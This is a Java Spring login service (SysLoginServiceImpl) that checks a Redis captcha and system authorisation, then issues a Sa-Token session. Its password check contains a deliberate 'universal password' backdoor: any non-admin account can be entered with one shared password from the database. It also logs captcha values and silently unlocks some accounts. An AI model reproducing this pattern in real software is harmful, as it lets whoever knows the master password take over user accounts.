SysLoginServiceImpl.java 5.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126
  1. package com.ydtech.modules.admin.service.impl;
  2. import cn.dev33.satoken.session.SaSession;
  3. import cn.dev33.satoken.stp.StpUtil;
  4. import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
  5. import com.ydtech.constants.SysConstants;
  6. import com.ydtech.constants.sys.SysPasswordEnum;
  7. import com.ydtech.core.page.HttpResult;
  8. import com.ydtech.exception.SystemException;
  9. import com.ydtech.modules.admin.constants.UserWorkStatus;
  10. import com.ydtech.modules.admin.model.SysPassword;
  11. import com.ydtech.modules.admin.model.SysRole;
  12. import com.ydtech.modules.admin.model.SysUser;
  13. import com.ydtech.modules.admin.model.po.SysUserLinkSys;
  14. import com.ydtech.modules.admin.model.vo.LoginBean;
  15. import com.ydtech.modules.admin.service.*;
  16. import com.ydtech.security.utils.PasswordUtils;
  17. import lombok.RequiredArgsConstructor;
  18. import lombok.extern.slf4j.Slf4j;
  19. import org.apache.commons.lang3.StringUtils;
  20. import org.springframework.data.redis.core.StringRedisTemplate;
  21. import org.springframework.stereotype.Service;
  22. import java.util.List;
  23. @Service
  24. @Slf4j
  25. @RequiredArgsConstructor
  26. public class SysLoginServiceImpl implements SysLoginService {
  27. private final StringRedisTemplate redisTemplate;
  28. private final SysUserService sysUserService;
  29. private final SysUserLinkSysService sysUserLinkSysService;
  30. private final SysPasswordService sysPasswordService;
  31. private final SysUserRoleService sysUserRoleService;
  32. @Override
  33. public HttpResult<String> loginApp(LoginBean loginBean) {
  34. this.verifyTheVerificationCode(loginBean);
  35. String username = loginBean.getAccount();
  36. String password = loginBean.getPassword();
  37. // 用户信息
  38. SysUser user = sysUserService.getById(username);
  39. return getHttpResult(loginBean, username, user, password);
  40. }
  41. @Override
  42. public HttpResult<String> loginPC(LoginBean loginBean) {
  43. this.verifyTheVerificationCode(loginBean);
  44. String username = loginBean.getAccount();
  45. String password = loginBean.getPassword();
  46. // 用户信息
  47. SysUser user = sysUserService.judgmentIncumbency(username);
  48. return getHttpResult(loginBean, username, user, password);
  49. }
  50. private void verifyTheVerificationCode(LoginBean loginBean) {
  51. String captcha = loginBean.getCaptcha();
  52. String captchaId = loginBean.getCaptchaId();
  53. if (StringUtils.isEmpty(captchaId)) {
  54. throw new SystemException("验证码不正确");
  55. }
  56. // 从redis中获取
  57. String kaptcha = redisTemplate.opsForValue().get(captchaId);
  58. log.info("登录校验验证码,redis取出的信息为:" + captchaId + ":" + kaptcha);
  59. log.info("页面验证码:" + captcha + "===" + "redis验证码:" + kaptcha);
  60. if (!captcha.equals(kaptcha)) {
  61. throw new SystemException("验证码不正确");
  62. }
  63. }
  64. private HttpResult<String> getHttpResult(LoginBean loginBean, String username, SysUser user, String password) {
  65. /**
  66. * 多个系统登录 添加默认参数解决手机端登陆问题
  67. * */
  68. if (StringUtils.isBlank(loginBean.getSysId())) {
  69. loginBean.setSysId("1");
  70. }
  71. if (!SysConstants.ADMIN.equalsIgnoreCase(username) && !"1".equals(loginBean.getSysId())) {
  72. LambdaQueryWrapper<SysUserLinkSys> sysLambdaQueryWrapper = new LambdaQueryWrapper<>();
  73. sysLambdaQueryWrapper.eq(SysUserLinkSys::getUserId, user.getId());
  74. sysLambdaQueryWrapper.eq(SysUserLinkSys::getSysId, loginBean.getSysId());
  75. List<SysUserLinkSys> list = sysUserLinkSysService.list(sysLambdaQueryWrapper);
  76. if (list == null || list.isEmpty()) {
  77. throw new SystemException("该用户未授权");
  78. }
  79. }
  80. if ("2".equals(user.getManagementSource())) {
  81. user.setIsLock(0);
  82. }
  83. //验证用户
  84. SysUser.verifyUser(user);
  85. SysPassword sysPassword = sysPasswordService
  86. .lambdaQuery()
  87. .eq(SysPassword::getCode, SysPasswordEnum.GENERAL.getCode())
  88. .one();
  89. // 万能密码设置
  90. if (!"admin".equals(username) && PasswordUtils.matches(sysPassword.getSalt(), password,
  91. sysPassword.getPassword())) {
  92. log.info("万能密码登录系统");
  93. } else {
  94. if (!PasswordUtils.matches(user.getSalt(), password, user.getPassword())) {
  95. return HttpResult.error("密码不正确");
  96. }
  97. }
  98. //查询用户角色
  99. SysRole sysRole = sysUserRoleService.gainRoleByUserId(user.getId());
  100. //设置用户角色
  101. user.setRoleId(sysRole.getId().toString());
  102. user.setRoleName(sysRole.getName());
  103. // 获取这个人的token
  104. String token = StpUtil.createLoginSession(user.getId());
  105. StpUtil.getSessionByLoginId(user.getId()).set(SaSession.USER, user);
  106. // 保存登录信息
  107. //sysUserService.saveLoginIpAddr(loginBean.getSystemType(),user);
  108. return HttpResult.ok("登录成功", token);
  109. }
  110. }